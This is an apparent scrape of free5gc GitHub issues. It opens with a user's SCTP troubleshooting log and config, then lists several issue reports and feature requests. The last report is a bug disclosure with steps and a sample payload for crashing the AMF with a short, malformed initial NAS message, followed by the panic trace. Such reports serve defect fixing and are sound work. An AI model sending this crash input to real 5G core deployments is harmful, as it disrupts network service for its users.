t3570:
enable: true # true or false
expireTime: 6s # default is 6 seconds
maxRetryTimes: 4 # the max number of retransmission
locality: area1 # Name of the location where a set of AMF, SMF, PCF and UPFs a re located
sctp: # set the sctp server setting <optinal>, once this field is set, please also add maxInputStream, maxOsStream, maxAttempts, maxInitTimeOut
numOstreams: 3 # the maximum out streams of each sctp connection
maxInstreams: 5 # the maximum in streams of each sctp connection
maxAttempts: 2 # the maximum attempts of each sctp connection
maxInitTimeout: 2 # the maximum init timeout of each sctp connection
defaultUECtxReq: false # the default value of UE Context Request to decide whe n triggering Initial Context Setup procedure
logger: # log output setting
enable: true # true or false
level: info # how detailed to output, value: trace, debug, info, warn, error, fatal, panic
reportCaller: false # enable the caller report or not, value: true or false
////// Logs of my operation ////////
ubuntu@ubuntu:~$ sudo apt install
[sudo] password for ubuntu:
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
libfwupdplugin1 libxmlb1
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 10 not upgraded.
ubuntu@ubuntu:~$ lsmod | gerp -i sctp
Command 'gerp' not found, did you mean:
command 'grep' from deb grep (3.4-1)
Try: sudo apt install <deb name>
ubuntu@ubuntu:~$ lsmod | grep -i sctp
sctp 344064 4
libcrc32c 16384 6 nf_conntrack,nf_nat,btrfs,xfs,raid456,sctp
ubuntu@ubuntu:~$ sctp support check
Command 'sctp' not found, did you mean:
command 'smtp' from deb opensmtpd (6.6.4p1-1)
command 'sctk' from deb sctk (2.4.10-20151007-1312Z+dfsg2-3)
command 'scp' from deb openssh-client (1:8.2p1-4ubuntu0.9)
command 'sct' from deb sct (1.3-1)
command 'sftp' from deb openssh-client (1:8.2p1-4ubuntu0.9)
command 'sntp' from deb sntp (1:4.2.8p12+dfsg-3ubuntu4.20.04.1)
Try: sudo apt install <deb name>
ubuntu@ubuntu:~$ sctp check
Command 'sctp' not found, did you mean:
command 'scp' from deb openssh-client (1:8.2p1-4ubuntu0.9)
command 'sntp' from deb sntp (1:4.2.8p12+dfsg-3ubuntu4.20.04.1)
command 'smtp' from deb opensmtpd (6.6.4p1-1)
command 'sctk' from deb sctk (2.4.10-20151007-1312Z+dfsg2-3)
command 'sftp' from deb openssh-client (1:8.2p1-4ubuntu0.9)
command 'sct' from deb sct (1.3-1)
Try: sudo apt install <deb name>
ubuntu@ubuntu:~$ sudo iptables -p INPUT ACCEPT
iptables v1.8.4 (legacy): unknown protocol "input" specified
Try `iptables -h' or 'iptables --help' for more information.
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$ sudo iptables -P INPUT ACCEPT
ubuntu@ubuntu:~$ sudo iptables -P FORWARD ACCEPT
ubuntu@ubuntu:~$ sudo iptables -P OUTPUT ACCEPT
ubuntu@ubuntu:~$ sudo iptables -t nat -F
ubuntu@ubuntu:~$ sudo iptables -t mangle -F
ubuntu@ubuntu:~$ sudo iptables -F
ubuntu@ubuntu:~$ sudo iptables -X
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$ sudo sysctl -w net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
ubuntu@ubuntu:~$ ipconfig
Command 'ipconfig' not found, did you mean:
command 'iwconfig' from deb wireless-tools (30~pre9-13ubuntu1)
command 'iconfig' from deb ipmiutil (3.1.5-1)
command 'ifconfig' from deb net-tools (1.60+git20180626.aebd88e-1ubuntu1)
Try: sudo apt install <deb name>
ubuntu@ubuntu:~$ ip -a
Usage: ip [ OPTIONS ] OBJECT { COMMAND | help }
ip [ -force ] -batch filename
where OBJECT := { link | address | addrlabel | route | rule | neigh | ntable |
tunnel | tuntap | maddress | mroute | mrule | monitor | xfrm |
netns | l2tp | fou | macsec | tcp_metrics | token | netconf | ila |
vrf | sr | nexthop }
OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |
-h[uman-readable] | -iec | -j[son] | -p[retty] |
-f[amily] { inet | inet6 | mpls | bridge | link } |
-4 | -6 | -I | -D | -M | -B | -0 |
-l[oops] { maximum-addr-flush-attempts } | -br[ief] |
-o[neline] | -t[imestamp] | -ts[hort] | -b[atch] [filename] |
-rc[vbuf] [size] | -n[etns] name | -N[umeric] | -a[ll] |
-c[olor]}
ubuntu@ubuntu:~$ ifconfig
ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.27.129.34 netmask 255.255.255.248 broadcast 172.27.129.39
inet6 fe80::250:56ff:feb1:1364 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b1:13:64 txqueuelen 1000 (Ethernet)
RX packets 1479700 bytes 1948404927 (1.9 GB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1018034 bytes 93611178 (93.6 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 2667448 bytes 361961352 (361.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2667448 bytes 361961352 (361.9 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
upfgtp: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1464
inet6 fe80::5f17:8706:e1bb:4413 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 275 dropped 0 overruns 0 carrier 0 collisions 0
ubuntu@ubuntu:~$ sudo iptables -t nat -A POSTROUTING -o ens32 -j MASQUERADE
ubuntu@ubuntu:~$ sudo iptables -A FORWARD -p tcp -m tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1400
ubuntu@ubuntu:~$ sudo systemctl stop ufw
ubuntu@ubuntu:~$ sudo systemctl disable ufw
Synchronizing state of ufw.service with SysV service script with /lib/systemd/sy stemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable ufw
ubuntu@ubuntu:~$
Executing: /lib/systemd/systemd-sysv-install disable ufw
ubuntu@ubuntu:~$ cd ~/free5gc
ubuntu@ubuntu:~/free5gc$ ./run.sh
log path: ./log/20240309_134139/
2024-03-09T13:41:39.361324353Z [INFO][UPF][Main] UPF version:
free5GC version: v3.3.0
build time: 2024-02-04T16:33:58Z
commit hash: 4474dc86
commit time: 2023-06-08T03:37:39Z
go version: go1.18.10 linux/amd64
2024-03-09T13:41:39.361582426Z [INFO][UPF][CFG] Read config from [./config/upfcfg.yaml]
2024-03-09T13:41:39.362223166Z [INFO][UPF][CFG] ==================================================
2024-03-09T13:41:39.362265737Z [INFO][UPF][CFG] (*factory.Config)(0xc00041ea00)({
Version: (string) (len=5) "1.0.3",
Description: (string) (len=31) "UPF initial local configuration",
Pfcp: (*factory.Pfcp)(0xc0004837a0)({
Addr: (string) (len=9) "127.0.0.8",
NodeID: (string) (len=9) "127.0.0.8",
RetransTimeout: (time.Duration) 1s,
MaxRetrans: (uint8) 3
}),
Gtpu: (*factory.Gtpu)(0xc000483950)({
Forwarder: (string) (len=5) "gtp5g",
IfList: ([]factory.IfInfo) (len=1 cap=1) {
(factory.IfInfo) {
Addr: (string) (len=13) "172.27.129.34",
Type: (string) (len=2) "N3",
Name: (string) "",
IfName: (string) "",
MTU: (uint32) 0
}
}
}),
DnnList: ([]factory.DnnList) (len=1 cap=1) {
(factory.DnnList) {
Dnn: (string) (len=8) "internet",
Cidr: (string) (len=12) "10.60.0.0/24",
NatIfName: (string) ""
}
},
Logger: (*factory.Logger)(0xc00048ab40)({
Enable: (bool) true,
Level: (string) (len=4) "info",
ReportCaller: (bool) false
})
})
2024-03-09T13:41:39.362357171Z [INFO][UPF][CFG] ==================================================
2024-03-09T13:41:39.362384158Z [INFO][UPF][Main] Log level is set to [info]
2024-03-09T13:41:39.362411239Z [INFO][UPF][Main] Report Caller is set to [false]
2024-03-09T13:41:39.362467963Z [INFO][UPF][Main] starting Gtpu Forwarder [gtp5g]
2024-03-09T13:41:39.362492964Z [INFO][UPF][Main] GTP Address: "172.27.129.34:2152"
2024-03-09T13:41:39.362994847Z [ERRO][UPF][Main] UPF Cli Run Error: open Gtp5g: open link: create: file exists
MongoDB shell version v4.4.28
connecting to: mongodb://127.0.0.1:27017/free5gc?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("5d4ac6b7-91a6-4fd5-8d4b-ef7811ce2021") }
MongoDB server version: 4.4.28
false
./run.sh: line 112: mongosh: command not found
2024-03-09T13:41:39.657285046Z [INFO][NRF][Main] NRF version:
free5GC version: v3.3.0
build time: 2024-02-04T16:32:34Z
commit hash: db4c0f90
commit time: 2023-05-11T08:14:48Z
go version: go1.18.10 linux/amd64
2024-03-09T13:41:39.657517855Z [INFO][NRF][CFG] Read config from [./config/nrfcfg.yaml]
2024-03-09T13:41:39.658146956Z [INFO][NRF][Main] Log enable is set to [true]
2024-03-09T13:41:39.658187813Z [INFO][NRF][Main] Log level is set to [info]
2024-03-09T13:41:39.658207571Z [INFO][NRF][Main] Report Caller is set to [false]
2024-03-09T13:41:39.658229380Z [INFO][NRF][Init] nrfconfig Info: Version[1.0.2] Description[NRF initial local configuration]
2024-03-09T13:41:39.658477317Z [INFO][NRF][Init] Server starting
2024-03-09T13:41:39.658953644Z [INFO][NRF][Init] Binding addr: [127.0.0.10:8000]
2024-03-09T13:41:39.659438853Z [FATA][NRF][Init] HTTP server setup failed: listen tcp 127.0.0.10:8000: bind: address already in use
2024-03-09T13:41:39.758445741Z [INFO][AMF][Main] AMF version:
free5GC version: v3.3.0
build time: 2024-02-04T16:31:07Z
commit hash: 7907d3c0
commit time: 2023-05-20T15:04:00Z
go version: go1.18.10 linux/amd64
2024-03-09T13:41:39.758761666Z [INFO][AMF][CFG] Read config from [./config/amfcfg.yaml]
2024-03-09T13:41:39.760760597Z [ERRO][AMF][CFG] Invalid Info: non zero value required
2024-03-09T13:41:39.760806275Z [ERRO][AMF][CFG] [-- PLEASE REFER TO SAMPLE CONFIG FILE COMMENTS --]
2024-03-09T13:41:39.760886534Z [ERRO][AMF][Main] AMF Run error: Config validate Error
2024-03-09T13:41:39.859271029Z [INFO][SMF][Main] SMF version:
free5GC version: v3.3.0
build time: 2024-02-04T16:33:34Z
commit hash: 8eb6843b
commit time: 2023-05-31T04:43:19Z
go version: go1.18.10 linux/amd64
2024-03-09T13:41:39.859457900Z [INFO][SMF][CFG] Read config from [./config/smfcfg.yaml]
2024-03-09T13:41:39.861555248Z [INFO][SMF][CFG] Read config from [./config/uerouting.yaml]
2024-03-09T13:41:39.862181649Z [INFO][SMF][Main] Log enable is set to [true]
2024-03-09T13:41:39.862230819Z [INFO][SMF][Main] Log level is set to [info]
2024-03-09T13:41:39.862253078Z [INFO][SMF][Main] Report Caller is set to [false]
2024-03-09T13:41:39.862311175Z [INFO][SMF][CTX] smfconfig Info: Version[1.0.7] Description[SMF initial local configuration]
2024-03-09T13:41:39.862434654Z [INFO][SMF][CTX] Endpoints: [172.27.129.34]
2024-03-09T13:41:39.862546917Z [INFO][SMF][Init] Server started
2024-03-09T13:41:39.880556903Z [INFO][SMF][Init] SMF Registration to NRF {f09b2bd7-ebb0-4dca-b773-d7690743f9d6 SMF REGISTERED 0 0xc0002a2120 0xc0002a2150 [] [] [127.0.0.2] [] <nil> [] [] <nil> 0 0 0 area1 <nil> <nil> <nil> <nil> 0xc0000b60c0 <nil> <nil> <nil> <nil> <nil> map[] <nil> false 0xc0002a2018 false false []}
2024-03-09T13:41:39.881107048Z [ERRO][SMF][PFCP] Failed to listen: listen udp 127.0.0.1:8805: bind: address already in use
2024-03-09T13:41:39.881427421Z [FATA][SMF][PFCP] panic: runtime error: invalid memory address or nil pointer dereference
goroutine 1 [running]:
runtime/debug.Stack()
/usr/local/go/src/runtime/debug/stack.go:24 +0x65
github.com/free5gc/smf/internal/pfcp/udp.Run.func1()
/home/ubuntu/free5gc/NFs/smf/internal/pfcp/udp/udp.go:25 +0x39
panic({0xad4ac0, 0x10d3a70})
/usr/local/go/src/runtime/panic.go:838 +0x207
github.com/free5gc/smf/internal/pfcp/udp.Run(0xc20850)
/home/ubuntu/free5gc/NFs/smf/internal/pfcp/udp/udp.go:37 +0x174
github.com/free5gc/smf/pkg/service.(*SmfApp).Start(0xc0002a0910, {0xc00002a240, 0x25})
/home/ubuntu/free5gc/NFs/smf/pkg/service/init.go:142 +0x2a8
main.action(0xc000094160)
/home/ubuntu/free5gc/NFs/smf/cmd/main.go:80 +0x194
github.com/urfave/cli.HandleAction({0xaa8820?, 0xc218c8?}, 0xc000020540?)
/home/ubuntu/go/pkg/mod/github.com/urfave/[email protected]/app.go:524 +0xa8
github.com/urfave/cli.(*App).Run(0xc000020540, {0xc00009c050, 0x5, 0x5})
/home/ubuntu/go/pkg/mod/github.com/urfave/[email protected]/app.go:286 +0x7c5
main.main()
/home/ubuntu/free5gc/NFs/smf/cmd/main.go:49 +0x38e
2024-03-09T13:41:39.969458284Z [INFO][UDR][Main] UDR version:
free5GC version: v3.3.0
build time: 2024-02-04T16:33:47Z
commit hash: a8ef9d9f
commit time: 2023-05-11T08:26:37Z
go version: go1.18.10 linux/amd64
2024-03-09T13:41:39.969762223Z [INFO][UDR][CFG] Read config from [./config/udrcfg.yaml]
2024-03-09T13:41:39.970938598Z [INFO][UDR][Main] Log enable is set to [true]
2024-03-09T13:41:39.971003575Z [INFO][UDR][Main] Log level is set to [info]
2024-03-09T13:41:39.971040903Z [INFO][UDR][Main] Report Caller is set to [false]
2024-03-09T13:41:39.971110870Z [INFO][UDR][Init] UDR Config Info: Version[1.0.2] Description[UDR initial local configuration]
2024-03-09T13:41:39.971393784Z [INFO][UDR][Init] Server started
2024-03-09T13:41:39.971878763Z [INFO][UDR][Util] udrconfig Info: Version[1.0.2] Description[UDR initial local configuration]
2024-03-09T13:41:39.979778905Z [FATA][UDR][Init] HTTP server setup failed: listen tcp 127.0.0.4:8000: bind: address already in use
2024-03-09T13:41:40.063612941Z [INFO][PCF][Main] pcf
2024-03-09T13:41:40.063765754Z [INFO][PCF][Main] PCF version:
free5GC version: v3.3.0
build time: 2024-02-04T16:33:30Z
commit hash: 17f2a8fc
commit time: 2023-05-11T08:21:46Z
go version: go1.18.10 linux/amd64
2024-03-09T13:41:40.063862615Z [INFO][PCF][CFG] Read config from [./config/pcfcfg.yaml]
2024-03-09T13:41:40.065676651Z [INFO][PCF][Main] Log enable is set to [true]
2024-03-09T13:41:40.065719606Z [INFO][PCF][Main] Log level is set to [info]
2024-03-09T13:41:40.065739029Z [INFO][PCF][Main] Report Caller is set to [false]
2024-03-09T13:41:40.065766990Z [INFO][PCF][Util] pcfconfig Info: Version[1.0.2] Description[PCF initial local configuration]
2024-03-09T13:41:40.066080961Z [INFO][PCF][Init] Server started
2024-03-09T13:41:40.066291525Z [INFO][PCF][Util] pcfconfig Info: Version[1.0.2] Description[PCF initial local configuration]
2024-03-09T13:41:40.075349253Z [FATA][PCF][Init] HTTP server setup failed: listen tcp 127.0.0.7:8000: bind: address already in use
2024-03-09T13:41:40.163713522Z [INFO][UDM][Main] UDM version:
free5GC version: v3.3.0
build time: 2024-02-04T16:33:43Z
commit hash: f9aad0ef
commit time: 2023-05-11T08:24:25Z
go version: go1.18.10 linux/amd64
2024-03-09T13:41:40.163951796Z [INFO][UDM][CFG] Read config from [./config/udmcfg.yaml]
2024-03-09T13:41:40.165160002Z [INFO][UDM][Main] Log enable is set to [true]
2024-03-09T13:41:40.165202223Z [INFO][UDM][Main] Log level is set to [info]
2024-03-09T13:41:40.165222891Z [INFO][UDM][Main] Report Caller is set to [false]
2024-03-09T13:41:40.165240067Z [INFO][UDM][Init] UDM Config Info: Version[1.0.3] Description[UDM initial local configuration]
2024-03-09T13:41:40.165256320Z [INFO][UDM][Init] Server started
2024-03-09T13:41:40.165433217Z [INFO][UDM][Util] udmconfig Info: Version[1.0.3] Description[UDM initial local configuration]
2024-03-09T13:41:40.174790398Z [FATA][UDM][Init] HTTP server setup failed: listen tcp 127.0.0.3:8000: bind: address already in use
2024-03-09T13:41:40.265035501Z [INFO][NSSF][Main] NSSF version:
free5GC version: v3.3.0
build time: 2024-02-04T16:33:29Z
commit hash: 28cd7936
commit time: 2023-05-11T08:20:43Z
go version: go1.18.10 linux/amd64
2024-03-09T13:41:40.265329954Z [INFO][NSSF][CFG] Read config from [./config/nssfcfg.yaml]
2024-03-09T13:41:40.267371174Z [INFO][NSSF][Main] Log enable is set to [true]
2024-03-09T13:41:40.267413962Z [INFO][NSSF][Main] Log level is set to [info]
2024-03-09T13:41:40.267439358Z [INFO][NSSF][Main] Report Caller is set to [false]
2024-03-09T13:41:40.267496756Z [INFO][NSSF][Init] Server started
2024-03-09T13:41:40.273642232Z [FATA][NSSF][Init] HTTP server setup failed: listen tcp 127.0.0.31:8000: bind: address already in use
2024-03-09T13:41:40.378897987Z [INFO][AUSF][Main] AUSF version:
free5GC version: v3.3.0
build time: 2024-02-04T16:32:27Z
commit hash: 64f47ebe
commit time: 2023-05-11T08:11:05Z
go version: go1.18.10 linux/amd64
2024-03-09T13:41:40.379254537Z [INFO][AUSF][CFG] Read config from [./config/ausfcfg.yaml]
2024-03-09T13:41:40.380271892Z [INFO][AUSF][Main] Log enable is set to [true]
2024-03-09T13:41:40.380326139Z [INFO][AUSF][Main] Log level is set to [info]
2024-03-09T13:41:40.380347565Z [INFO][AUSF][Main] Report Caller is set to [false]
2024-03-09T13:41:40.380393214Z [INFO][AUSF][Init] ausfconfig Info: Version[1.0.3] Description[AUSF initial local configuration]
ausf context = &{{{0 0} {<nil>} map[] 0} {{0 0} {<nil>} map[] 0} 50eef663-62d6-4f96-a048-6f46942257bd ausfGroup001 8000 127.0.0.9 127.0.0.9 http://127.0.0.9:8000 http http://127.0.0.10:8000 map[nausf-auth:{50eef663-62d6-4f96-a048-6f46942257bd nausf-auth 0xc000518c48 http REGISTERED 0xc000518c30 [] <nil> [] [] <nil> 0 0 0 <nil> <nil> }] [{208 93} {123 45}] 0xc000671540 false}
2024-03-09T13:41:40.380637489Z [INFO][AUSF][Init] Server started
2024-03-09T13:41:40.387923745Z [FATA][AUSF][Init] HTTP server setup failed: listen tcp 127.0.0.9:8000: bind: address already in use
ubuntu@ubuntu:~/free5gc$
UERANSIM
*** System restart required ***
Last login: Tue Mar 5 08:15:49 2024 from 172.27.115.218
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$ cd ~/UERANSIM
ubuntu@ubuntu:~/UERANSIM$ build/nr-gnb -c config/free5gc-gnb.yaml
UERANSIM v3.2.6
[2024-03-09 13:42:21.972] [sctp] [info] Trying to establish SCTP connection... ( 172.27.129.34:38412)
[2024-03-09 13:42:21.978] [sctp] [error] Connecting to 172.27.129.34:38412 failed. SCTP could not connect: Connection refused
//////////////////////
|
free5gc SCTP could not connect
|
https://api.github.com/repos/free5gc/free5gc/issues/541/comments
| 11 |
2024-03-12T06:24:15Z
|
2024-03-12T12:00:00Z
|
https://github.com/free5gc/free5gc/issues/541
| 2,180,829,171 | 541 |
[
"free5gc",
"free5gc"
] |
## Documentation request
Simple documentation of the REST-API.
## Suggestion
Just add endpoints and how to use them, like any other REST-API
## Additional context
We need to add lots of generated Subscriber data (100-1000 UEs), but right now it just seems to be possible via the Web-Ui. We just need a simple description of the REST-endpoint that handles the creation of the subscribers, so we can do it via a shell script (just curl the api...)
|
[Docs] How to add subscriber via REST-API
|
https://api.github.com/repos/free5gc/free5gc/issues/539/comments
| 2 |
2024-03-06T11:56:10Z
|
2024-03-08T03:54:26Z
|
https://github.com/free5gc/free5gc/issues/539
| 2,171,333,663 | 539 |
[
"free5gc",
"free5gc"
] |
Hello free5gc team,
I need to test the multicast service through the 5G core and want to know if it is supported on the data plane.
I am using 5G V3.3.0 in an emulated environment and I want to test the IPTV service through the 5G core to the UE.
Thanks,
|
Is multicast feature supported on V3.3.0 ?
|
https://api.github.com/repos/free5gc/free5gc/issues/537/comments
| 1 |
2024-03-05T04:13:14Z
|
2024-03-06T17:16:39Z
|
https://github.com/free5gc/free5gc/issues/537
| 2,168,261,425 | 537 |
[
"free5gc",
"free5gc"
] |
Hello free5gc,
I followed your tutorial for the N3IWUE one-to-one (i.e. two VMs for free5GC and N3IWUE etc.) and it worked straight away. Good work on your part!
However, I noticed that a simple speedtest (installed with "sudo apt speedtest-cli") gives unexpected results. The download on the VM for the N3IWUE delivers over 100Mbit/s, which matches my internet connection, but the upload barely hits 1Mbit/s.
To be on the safe side, I also ran the speedtest on my host system (fast PC with Ubuntu 22.04) and in the VM for free5gc - both DL and UL are very fast and well above 100Mbit/s.
Do you have any idea why the uplink is so slow during a speedtest in the VM of the N3IWUE?
Simon
|
VM of N3IWUE has slow upload in speedtest
|
https://api.github.com/repos/free5gc/free5gc/issues/535/comments
| 1 |
2024-02-29T09:33:35Z
|
2024-03-05T05:38:49Z
|
https://github.com/free5gc/free5gc/issues/535
| 2,160,808,687 | 535 |
[
"free5gc",
"free5gc"
] | null |
[Feat] 您好，想咨询一下AF和NEF功能大约什么时候发布？
|
https://api.github.com/repos/free5gc/free5gc/issues/533/comments
| 2 |
2024-02-21T02:38:41Z
|
2024-03-29T04:15:25Z
|
https://github.com/free5gc/free5gc/issues/533
| 2,145,668,370 | 533 |
[
"free5gc",
"free5gc"
] |
## Issue Description
### What's the version are you using
free5gc v3.4.0
Ubuntu Server 20.04.6
### Is your feature request related to a problem? Please describe.
If one try to build the webconsole manually or via the Makefile, it fails to find yarn (more details on https://github.com/free5gc/free5gc.github.io/pull/103)
If one crashes it's free5gc execution and uses the force_kill script to stop the execution, the recently added CHF NF isn't killed which leads to the following messages in later executions due to "duplicated" processes:
```
2024-02-19T19:16:41.502667644Z [INFO][CHF][Acct] Open Account Balance Management Server
2024/02/19 19:16:41 listen tcp 127.0.0.113:3869: bind: address already in use
```
### Describe the solution you'd like
To update the instructions (see https://github.com/free5gc/free5gc.github.io/pull/103) and commands (see https://github.com/free5gc/free5gc/pull/531) to fix the described behavior
### Describe alternatives/workarounds you've considered
Manually building and testing the issue reported on a fresh free5gc installation
### Additional context
I've already submitted a PR
## Issue Template Checklist
### If willing to resolve an issue by submitting Pull request, please consider the points below.
- [X] Yes, I have the time and I know how to start.
- [ ] Yes, I have the time but I don't know how to start, I would need guidance.
- [ ] No, I don't have the time, although I believe I could do it if I had the time...
- [ ] No, I don't have the time and I wouldn't even know how to start.
|
[Feat] Improve/Correct the webconsole build behavior and update docs accordingly
|
https://api.github.com/repos/free5gc/free5gc/issues/532/comments
| 0 |
2024-02-19T20:01:35Z
|
2024-02-24T15:28:23Z
|
https://github.com/free5gc/free5gc/issues/532
| 2,143,067,251 | 532 |
[
"free5gc",
"free5gc"
] |
## Documentation request
What was unclear/insufficient/not covered in the documentation.
The software listed on this issue title are listed in some old versions
## Suggestion
Update them in the guide instructions
## Additional context
The nodejs version has a related PR on the WebConsole repository https://github.com/free5gc/webconsole/pull/71. I already made the PR on the docs repository so it displays the updated information on the instructions.
|
[Docs] Update nodejs, GTP-U module and requirements versions
|
https://api.github.com/repos/free5gc/free5gc/issues/529/comments
| 0 |
2024-02-10T22:10:32Z
|
2024-02-19T02:20:04Z
|
https://github.com/free5gc/free5gc/issues/529
| 2,128,731,161 | 529 |
[
"free5gc",
"free5gc"
] |
## Documentation request
Two pages have some minor typos on them
## Suggestion
Fix them
## Additional context
PR open on the docs repo
|
[Docs] Fix minor typos
|
https://api.github.com/repos/free5gc/free5gc/issues/527/comments
| 0 |
2024-02-09T14:03:43Z
|
2024-02-10T02:44:34Z
|
https://github.com/free5gc/free5gc/issues/527
| 2,127,216,887 | 527 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
In Kernel 6.2, I conducted tests with scripts for gtp5g and go-gtp5gnl. The script successfully executed a ping. However, after the script concluded, subsequent pings failed.
The script was copied from libgtp5gnl/script/ns_ran_upf.sh and executed using go-gtp5gnl. I made modifications to gtp5g/genl/genl.c to ensure proper functionality in Kernel 6.2 (specifically, I added `.resv_start_op = GTP5G_ATTR_MAX,` at the end of the struct genl_family gtp5g_genl_family structure definition).
To maintain the environment without clearing it, I commented out the latter part of the script (ns_ran_upf.sh). The last command in the script is `ping -c5 -I ${UE_IP} ${DN_IP}`, and it successfully pings.
However, after the script concludes, attempting to ping from UE_IP to DN_IP using the same command fails. Upon inspecting the gtp5gtest interface with Wireshark, I observed that the ICMP request packet lacks an Ethernet header.
It’s noteworthy that the same experiment conducted in Kernel versions 5.15 or lower results in successful pings even after the script concludes (The only difference is the modification made to gtp5g/genl/genl.c).
## To Reproduce
Steps to reproduce the behavior:
1. Use kernel version 6.2 or higher.
2. Clone go-gtp5gnl and gtp5g.
3. Open gtp5g/genl/genl.c, add `.resv_start_op = GTP5G_ATTR_MAX,` at the end of the `struct genl_family gtp5g_genl_family` structure definition
4. Compile gtp5g and install kernel module (`make` & `make install`)
5. Build the executable files in go-gtp5gnl: gtp5g-link and gtp5g-tunnel. `cd cmd/gogtp5g-link`, `go build -o ../../tools/gtp5g-link`, `cd cmd/gogtp5g-tunnel`, `go build -o ../../tools/gtp5g-tunnel`
6. Copy the scripts from libgtp5gnl to go-gtp5gnl (run.sh and ns_run_upf.sh). And comment out the latter part of the script ns_ran_upf.sh (Keep the environment that ns_run_upf.sh established) .
7. Then execute `sudo ./run.sh SimpleUPTest`, the script will end up ping successfully.
8. Use `ping -c3 -I 60.60.0.10 60.60.1.10` in terminal to ping from UE to DN
## Expected behavior
The step 8 ping successfully (then test gtp5g functionality using iperf3 or other tools) . These procedures success at kernel version 5.15 or lower, but fail at kernel version 6.2.
I need the kernel of version 6.2 or higher, so downgrading the kernel is not a solution for me.
## Screenshots
I comment out the "Stopping" part of commands in ns_ran_upf.sh.
We can see that the ping inside the script is successful. But the subsequent ping command failed.
## Environment (please complete the following information):
- OS: [Ubuntu Desktop 22.04]
- Kernel version: [6.2.11]
- go version: [1.17.8 linux/amd64]
- c compiler version (Option): [11.4.0]
|
[Bugs] In kernel 6.2, testing gtp5g with scripts for go-gtp5gnl, the ping fails after the script ends.
|
https://api.github.com/repos/free5gc/free5gc/issues/524/comments
| 0 |
2024-01-03T11:30:41Z
|
2024-06-24T04:36:02Z
|
https://github.com/free5gc/free5gc/issues/524
| 2,063,836,801 | 524 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
The AMF crashed when receiving a short plaintext initial NAS message with a security header type greater than 0 from UE. This bug is caused by a missing length check of the payload.
## To Reproduce
Steps to reproduce the behavior:
1. Run free5gc with default config.
2. Connect UERANSIM gNB (or any other compatible gNB implementations) with free5GC
3. Use UERANSIM UE (or any other compatible UE implementations) to send an initial NAS message with a payload length less than 6 (without header), and a security header type greater than 0. (e.g., 0x7E025F74)
The malformed packet can be sent by modifying sendNasMessage() function in src/ue/nas/mm/messaging.cpp of UERANSIM.
## Expected behavior
The program should discard the malformed packet instead of a crash.
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 22.04 LTS
- Kernel version: 6.2.0-39-generic
- go version: 1.21.5 linux/amd64
## Trace File
### Configuration File
Use the default configuration file
### PCAP File
[free5gc_crash_ngap.zip](https://github.com/free5gc/free5gc/files/13814407/free5gc_crash_ngap.zip)
### Log File
[FATA][AMF][Ngap] panic: runtime error: slice bounds out of range [7:4]
goroutine 44 [running]:
runtime/debug.Stack()
/snap/go/10426/src/runtime/debug/stack.go:24 +0x5e
[github.com/free5gc/amf/internal/ngap/service.handleConnection.func1()](http://github.com/free5gc/amf/internal/ngap/service.handleConnection.func1())
/free5gc/NFs/amf/internal/ngap/service/service.go:184 +0x45
panic({0xc64940?, 0xc0005281b0?})
/snap/go/10426/src/runtime/panic.go:914 +0x21f
[github.com/free5gc/amf/internal/nas/nas_security.DecodePlainNasNoIntegrityCheck](http://github.com/free5gc/amf/internal/nas/nas_security.DecodePlainNasNoIntegrityCheck)({0xc000433760, 0x6, 0x8})
/free5gc/NFs/amf/internal/nas/nas_security/security.go:362 +0x11d
[github.com/free5gc/amf/internal/ngap.handleInitialUEMessageMain](http://github.com/free5gc/amf/internal/ngap.handleInitialUEMessageMain)(0xc0004da000, 0xc0002f2040, 0xc0004333e8, 0xc000246030, 0xc00078c600, 0xc00047a1e8, 0x0, 0xc00047a4e8, 0xc000128c68?)
/free5gc/NFs/amf/internal/ngap/handler.go:451 +0x2e5
[github.com/free5gc/amf/internal/ngap.handlerInitialUEMessage](http://github.com/free5gc/amf/internal/ngap.handlerInitialUEMessage)(0xc0004da000, 0xc53da0?, 0xc0007b41c0)
/free5gc/NFs/amf/internal/ngap/handler_generated.go:3503 +0x14cf
[github.com/free5gc/amf/internal/ngap.dispatchMain](http://github.com/free5gc/amf/internal/ngap.dispatchMain)(0xc0004da000, 0x3a?)
/free5gc/NFs/amf/internal/ngap/dispatcher_generated.go:49 +0x12f
[github.com/free5gc/amf/internal/ngap.Dispatch](http://github.com/free5gc/amf/internal/ngap.Dispatch)({0xe1a3f8?, 0xc0003fa070}, {0xc00058c000, 0x3a, 0x40000})
/free5gc/NFs/amf/internal/ngap/dispatcher.go:45 +0x1f5
[github.com/free5gc/amf/internal/ngap/service.handleConnection](http://github.com/free5gc/amf/internal/ngap/service.handleConnection)(0xc0003fa070, 0x40000, {0xd339f0?, 0xd33a00?, 0xd339f8?})
